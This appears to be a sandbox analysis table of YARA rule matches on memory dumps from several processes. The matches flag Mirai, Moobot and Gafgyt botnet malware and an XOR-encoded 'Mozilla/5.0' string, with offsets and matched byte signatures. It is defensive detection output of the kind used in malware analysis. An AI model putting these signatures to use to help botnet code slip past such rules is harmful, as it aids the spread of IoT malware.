6720.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6467.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6467.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6467.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6467.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6467.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6467.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7303.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7303.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7303.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7303.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7303.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7303.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7205.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7205.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7205.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7205.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7205.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7205.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7074.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7074.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7074.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7074.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7074.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7074.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6620.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6620.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6620.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6620.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6620.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6620.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6744.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7001.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7001.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7001.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7001.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7001.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7001.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
